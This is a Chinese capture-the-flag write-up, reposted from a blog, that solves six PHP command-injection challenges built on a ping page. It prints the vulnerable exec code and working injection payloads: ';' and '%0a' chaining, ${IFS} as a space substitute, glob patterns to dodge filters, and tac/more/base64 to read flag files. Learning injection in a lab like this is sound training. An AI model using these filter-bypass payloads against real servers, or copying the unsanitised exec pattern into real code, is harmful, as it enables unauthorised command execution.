CTF实验吧环境
1.命令注入
// 关键代码
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,
$cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接
exec($cmd, $res);// 执行cmd,把结果输出到res
}
if ($res) {
print_r($res);// 打印结果
}
show_source(__FILE__);
根据第五行代码,这里直接拼接就行
看到有一个php文件,8061098418328.php,直接用cat,但是没有显示,
右键查看网页源代码得到FLAG
或者考虑到有特殊字符,无法回显,使用base64编码,拿到flag。
这里用到了管道符|,表示把上一条命令的输出作为下一条命令的输入。
base64编码绕过cat过滤
2、过滤CAT
思路:代替cat
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
没有回显,查看网页源代码,或者base64输出解码。
3、过滤空格
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
思路:代替空格
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}
、${IFS}
来代替空格
(127.0.0.1;cat${IFS}flag_64402731720130.php
,我用的几个只有${IFS}
成功了)
4、过滤目录分隔符
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("///", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
直接祭出poc
127.0.0.1;cd flag_is_here;cat flag_5898818519729.php |base64
5、过滤运算符
这个题感觉有个漏洞就是直接查看网页源代码就看到flag了
正常的思路应该是base64输出出来
过滤了管道符|
而file | base64也可以写成base64 file
127.0.0.1; base64 flag_297281061019145.php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(||&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
6、综合过滤练习
思路:
过滤了|,&,;, ,/,cat,flag,ctfhub
空格可以用${IFS}
cat可以用more
flag可以用正则f***
ctfhub应该用不到
查了一下,在linux下,命令分隔符除了;还有%0a
有了;就可以不用运算符了
然后按着之前的思路去做就可以了
查看目录 127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
查看文件内容(谷歌浏览器右键查看网页源代码得到flag)127.0.0.1%0acd${IFS}f***_is_here${IFS}%0amore${IFS}f***_313271338621245.php
base64输出flag 127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_313271338621245.php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(||&|;| |/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
过程中遇到的问题
因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码
文章转载自 CSDN 作者:那酒不要留
连接:https://blog.csdn.net/szgyunyun/article/details/104970118?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-8.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-8.nonecase
如果觉得文章对你有帮助,请点击右下角“在看”
本文始发于微信公众号(LemonSec):RCE命令注入-过滤CAT
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论